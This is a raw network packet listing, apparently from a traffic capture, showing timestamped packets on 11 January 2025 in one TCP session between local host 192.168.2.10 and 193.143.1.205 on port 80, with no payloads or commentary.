Jan 11, 2025 04:35:14.068970919 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.068988085 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069044113 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.069108963 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069150925 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069210052 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069217920 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.069324017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069343090 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069499016 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069518089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069550991 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.069551945 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069588900 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.069626093 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069686890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069740057 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.069755077 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069773912 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069828987 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.069977999 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.069998026 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070017099 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070035934 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070045948 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.070069075 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.070197105 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070218086 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070318937 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.070329905 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070349932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070530891 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.070627928 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070647001 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070667028 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070683002 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.070717096 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.070774078 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070827007 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070846081 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070897102 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.070944071 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.070976019 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.071041107 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071058989 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071093082 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071125031 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.071264029 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071291924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071403027 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.071584940 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071604967 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071624041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071659088 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.071685076 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.071734905 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071753025 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071787119 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.071810007 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.071815014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072060108 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072078943 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072098017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072110891 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.072117090 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072137117 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072144985 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.072168112 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.072514057 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072532892 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072552919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072575092 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.072606087 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.072635889 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072655916 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072690964 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072710991 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.072720051 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.072799921 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.072866917 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.074719906 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.086371899 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.086410999 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.086419106 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.086463928 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.086482048 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.086493015 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.086503983 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.086546898 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.086644888 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.086653948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.086663008 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.086704016 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.097731113 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.109545946 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.123408079 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.123440027 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.123459101 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.123522043 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.123537064 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.157994986 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158016920 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158032894 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158086061 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.158135891 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158200026 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158284903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158293962 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.158303976 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158390999 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.158438921 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158457041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158477068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158524036 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.158672094 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158690929 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158724070 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158736944 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.158821106 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.158822060 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158840895 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158859015 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.158909082 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.159039021 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159074068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159092903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159100056 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.159130096 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.159133911 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159152985 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159241915 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.159305096 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159343004 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159363985 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159392118 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159416914 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159437895 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.159444094 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.159616947 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159651041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159670115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159683943 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.159688950 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159707069 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.159729958 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.159774065 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.173666954 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.179161072 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.193038940 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193080902 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193099976 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193176031 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.193186998 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193208933 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193412066 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.193423033 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193437099 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193470955 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193500996 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.193523884 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193530083 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.193584919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193604946 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193666935 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.193727970 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193747997 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193763971 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193836927 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.193836927 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.193846941 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193914890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193949938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.193975925 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.194027901 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194088936 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194152117 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.194153070 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194170952 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194207907 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194233894 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.194256067 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.194317102 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194331884 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194446087 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.194498062 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194518089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194581032 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.194641113 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194658995 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194701910 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194720030 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194726944 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.194780111 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.194807053 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194823980 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194842100 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.194971085 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.195025921 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195045948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195064068 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195096970 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.195123911 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.195283890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195302963 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195350885 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195377111 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195388079 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.195403099 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195442915 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195477009 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.195569038 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.195871115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195909977 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195929050 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195961952 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.195977926 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.195981979 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196000099 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196017027 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.196018934 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196038008 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196054935 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.196074963 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196093082 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196100950 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.196113110 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196170092 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.196541071 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196559906 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.196666956 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.223478079 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.233598948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.233602047 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.233644962 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.233659029 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.233690023 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.233696938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.233717918 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.233793974 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.233794928 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247488976 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247498989 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247515917 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247570038 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.247579098 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247589111 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247639894 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.247663975 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.247697115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247706890 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247827053 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.247849941 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247859001 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247875929 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.247905016 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.248027086 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248071909 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248080015 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248141050 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.248217106 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248224974 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248241901 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248279095 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.248393059 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248400927 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248455048 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.248538017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248545885 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248554945 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248563051 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248570919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248580933 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248599052 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.248622894 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.248915911 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248924017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248939037 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.248974085 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.248989105 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.249064922 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249074936 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249099016 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249125957 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.249294043 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249304056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249313116 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249329090 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249336958 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249352932 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.249357939 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.249408960 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.282362938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282381058 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282398939 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282413006 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.282443047 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282449007 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.282459021 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282506943 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.282620907 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282634974 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282650948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282692909 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.282722950 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282737017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282757044 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.282814026 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282847881 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282870054 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.282912016 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282927990 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282943010 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.282952070 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.282993078 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.283060074 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283087015 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283101082 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283126116 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.283207893 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283224106 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283253908 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.283302069 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283328056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283349037 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.283425093 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283441067 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283456087 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283510923 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.283525944 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.283535957 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283611059 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283663988 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.283669949 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283689022 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283698082 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283740997 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:35:14.283898115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283915043 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283934116 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 04:35:14.283943892 CET	49711	80	192.168.2.10	193.143.1.205
